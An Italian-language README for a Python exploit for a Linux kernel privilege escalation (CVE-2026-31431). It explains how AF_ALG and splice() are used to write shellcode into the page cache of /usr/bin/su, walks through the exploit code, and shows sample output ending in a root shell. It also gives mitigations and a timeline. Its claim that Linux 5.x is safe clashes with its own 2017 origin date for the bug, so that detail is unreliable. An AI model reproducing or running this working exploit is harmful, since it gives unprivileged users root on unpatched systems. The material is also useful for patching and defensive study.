
# Exploit Python per CVE-2026-31431, un'escalation dei privilegi del kernel Linux tramite corruzione della cache di pagina dei binari setuid, che consente l'accesso root.
Copy Fail (CVE-2026-31431) è un bug logico critico nel sottosistema crittografico del kernel Linux che consente a utenti non privilegiati di ottenere l'escalation dei privilegi fino a root. La vulnerabilità interessa i kernel Linux dalla versione 6.0.0 alla 6.18.x su tutte le principali distribuzioni.
Questo repository contiene l'exploit reale che attiva la vulnerabilità corrompendo la cache delle pagine dei binari setuid ed eseguendo codice arbitrario con privilegi di root.
Copy Fail è un bug logico che consente a utenti non privilegiati di scrivere blocchi arbitrari di 4 byte direttamente nella cache delle pagine del kernel di qualsiasi file leggibile sul sistema, inclusi i binari setuid.
Caratteristiche principali:
La vulnerabilità deriva da un'ottimizzazione del 2017 in algif_aead.c (commit 72548b093ee3) che ha modificato le operazioni AEAD da out-of-place a in-place:
Prima (sicuro - 2015):
TX Scatterlist (input) ← TX buffer (dati utente dal file)
RX Scatterlist (output) ← RX buffer (area di output dell'utente)
Scatterlist separati = le pagine della cache sono in sola lettura
Dopo (vulnerabile - 2017):
Scatterlist combinato:
[ RX buffer ] [ Pagine della cache concatenate tramite sg_chain() ]
↑ ↑
req->src = src req->dst = dst (STESSO scatterlist)
Le pagine della cache ora sono in uno scatterlist SCRIVIBILE!
Lo scatterlist combinato appare così:
[AAD + Ciphertext dal RX buffer] || [Tag dalla cache delle pagine di /usr/bin/su]
↑
Confine
(authencesn scrive OLTRE questo punto)
L'algoritmo authencesn è un wrapper AEAD utilizzato da IPsec per i Numeri di Sequenza Estesi (ESN). Esegue il calcolo HMAC ma deve riorganizzare i byte all'interno dell'AAD (Associated Authenticated Data).
Nel codice del kernel (crypto/authenc.c), durante la decrittazione:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // legge i byte AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporaneo: sovrascrive dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← RIGA CHIAVE
// scrive 4 byte a dst[assoclen+cryptlen]
Il problema: La terza scrittura avviene all'offset assoclen + cryptlen. Nel percorso in-place vulnerabile:
Il kernel tratta questa posizione come "spazio scratch sacrificabile" e vi scrive il valore permanentemente. I byte originali in questa posizione nella cache delle pagine vengono persi per sempre.
1. L'attaccante apre un socket AF_ALG → si lega a authencesn(hmac(sha256),cbc(aes))
(Nessun privilegio necessario; AF_ALG è disponibile agli utenti non privilegiati per impostazione predefinita)
2. L'attaccante apre il file target: /usr/bin/su (binario setuid-root)
3. L'attaccante usa splice() per consegnare le pagine della cache di /usr/bin/su
nel socket AF_ALG come "ciphertext" e "tag"
4. L'attaccante invia sendmsg() con AAD contenente:
- Byte 0-3: padding
- Byte 4-7: seqno_lo = valore di 4 byte da scrivere (controllato dall'attaccante)
- Byte 8+: padding
5. L'attaccante chiama recvmsg() che attiva l'operazione di decrittazione AEAD
All'interno della decrittazione di authencesn nello spazio del kernel:
a) Il kernel legge i byte AAD 0-7
b) Il kernel scrive seqno_hi a dst[4..7] (temporaneo, poi ripristinato)
c) Il kernel scrive seqno_lo a dst[assoclen + cryptlen]
↓
QUESTA SCRITTURA ATTRAVERSA DAL BUFFER UTENTE ALLE PAGINE DELLA CACHE
↓
La scrittura di 4 byte nella cache delle pagine di /usr/bin/su avviene QUI
d) Il kernel calcola HMAC (la validazione fallisce - il ciphertext è fabbricato)
e) recvmsg() restituisce un errore
MA: La scrittura di 4 byte PERSISTE GIÀ nella cache delle pagine
6. L'attaccante ripete i passaggi 2-5 per ogni blocco di 4 byte dello shellcode
7. L'attaccante esegue /usr/bin/su
- Il kernel carica il binario dalla CACHE DELLE PAGINE (che ora contiene lo shellcode)
- Il binario è setuid-root
- Lo shellcode viene eseguito con UID=0
- L'attaccante ha accesso root
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Request socket per operazioni AEAD
Crea un socket AF_ALG legato al template AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Apri il binario setuid che verrà corrotto. Qualsiasi file leggibile funziona, ma i binari setuid vengono scelti per l'escalation dei privilegi.
pipe_rd, pipe_wr = os.pipe()
Crea una pipe che fungerà da intermediario per le operazioni splice(). I buffer della pipe conterranno riferimenti alle pagine della cache.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Usa splice() per trasferire cryptlen byte da /usr/bin/su a partire da write_offset nella pipe.
Perché è importante: splice() trasferisce dati tra descrittori di file senza copiarli. Passa riferimenti diretti alle pagine della cache del kernel. Queste pagine rimangono nella struttura del buffer interno della pipe.
assoclen = 8 # Lunghezza AAD: byte 0-7
cryptlen = 32 # Lunghezza ciphertext (== output HMAC-SHA256)
authsize = 32 # Lunghezza tag
write_offset = 0x2000 # Offset in /usr/bin/su dove scrivere
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
L'AAD (Associated Authenticated Data) contiene:
L'algoritmo authencesn userà i byte 4-7 di questo AAD nella sua scrittura scratch.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Invia l'AAD al socket AF_ALG. Il flag MSG_MORE indica che ciphertext/tag seguiranno.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
Trasferisci le pagine della cache dalla pipe al socket AF_ALG. Ora lo scatterlist del kernel contiene:
Catena Scatterlist:
[ AAD (dal RX buffer) ] || [ Ciphertext (dal RX buffer) ] → [ Tag (pagine della cache) ]
↑
Riferisce ancora
alle pagine di /usr/bin/su
try:
req_sock.recv(1024)
except OSError:
pass # Previsto che fallisca con HMAC non valido
Chiama recvmsg() per attivare l'operazione di decrittazione AEAD:
All'interno di authencesn nello spazio del kernel:
dst[assoclen + cryptlen]
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
L'exploit esegue un loop, scrivendo blocchi di 4 byte di shellcode a offset sequenziali nella cache delle pagine di /usr/bin/su.
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
Esegui /usr/bin/su:
os.splice())lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
Output previsto su sistema vulnerabile:
[*] CVE-2026-31431 (Copy Fail) Escalatazione dei Privilegi nel Kernel Linux
[*] Target: /usr/bin/su (binario setuid-root)
[*] Versione kernel: 6.12.0-1007-aws
[+] Il kernel 6.12.x è nell'intervallo vulnerabile (6.0 - 6.18)
[+] Trovato /usr/bin/su (binario setuid-root)
[+] Verifica vulnerabilità kernel: AF_ALG + splice + authencesn
[*] Inizio corruzione della cache delle pagine...
[*] Iniezione di 33 byte di shellcode in /usr/bin/su
[+] Scritto blocco 0 all'offset 0x2000
[+] Scritto blocco 1 all'offset 0x2004
...
[+] Iniezione dello shellcode riuscita!
[*] Esecuzione di /usr/bin/su per attivare lo shellcode...
# id
uid=0(root) gid=1001(user) groups=1001(user)
Disabilitare il supporto AEAD di AF_ALG:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
Questo impedisce all'exploit di accedere all'interfaccia AEAD di AF_ALG mantenendo intatte le altre funzionalità di AF_ALG.
Scaricare i moduli vulnerabili:
sudo rmmod algif_aead
sudo rmmod authencesn
Bloccare la creazione di socket AF_ALG tramite seccomp (per ambienti containerizzati):
# Nella policy di sicurezza del container, negare le syscall socket(38, SOCK_SEQPACKET)
Aggiornare a Linux 6.19+ che include la correzione (commit a664bf3d603d).
La correzione riporta algif_aead.c alle operazioni AEAD out-of-place:
// Prima (in-place vulnerabile):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (input)
rsgl_src, // RX SGL (output) - STESSO
used, ctx->iv);
// Dopo (out-of-place corretto):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (input)
rsgl_src, // RX SGL (output) - DIVERSO
used, ctx->iv);
Con scatterlist di origine e destinazione separati:
Questo exploit è esclusivamente per scopi di test di sicurezza educativi e autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di testare le vulnerabilità.
| Aspetto | Spiegazione |
|---|
| Nessun Crash | L'operazione si completa dal punto di vista del kernel |
| Deterministico | Nessuna race condition; sincrono e affidabile |
| Persistente | La corruzione della cache delle pagine sopravvive anche dopo l'errore di recvmsg() |
| Invisibile | Il file su disco è intatto; gli strumenti di integrità standard non rilevano nulla |
| Universale | Lo stesso codice funziona su tutte le distribuzioni; nessun offset per-distribuzione necessario |
| Portabile | Funziona su architetture x86-64 e ARM64 |
| Data | Evento |
|---|
| 2017-Q3 | Vulnerabilità introdotta in algif_aead.c (commit 72548b093ee3) |
| 2026-03-23 | Segnalata al team di sicurezza del kernel Linux |
| 2026-03-24 | Il team del kernel riconosce la vulnerabilità |
| 2026-03-25 | Patch proposte e revisionate |
| 2026-04-01 | Patch integrate nel kernel mainline (commit a664bf3d603d) |
| 2026-04-22 | Assegnato CVE-2026-31431 |
| 2026-04-29 | Divulgazione pubblica (Xint Research) |
| Serie | Stato | Dettagli |
|---|
| Linux 5.x | ✅ Sicuro | Precede la vulnerabilità |
| Linux 6.0 - 6.18 | ❌ Vulnerabile | Tutte le versioni minori interessate |
| Linux 6.19+ | ✅ Sicuro | Contiene la correzione (commit a664bf3d603d) |
| Linux 7.0+ | ✅ Sicuro | Dopo l'integrazione della correzione |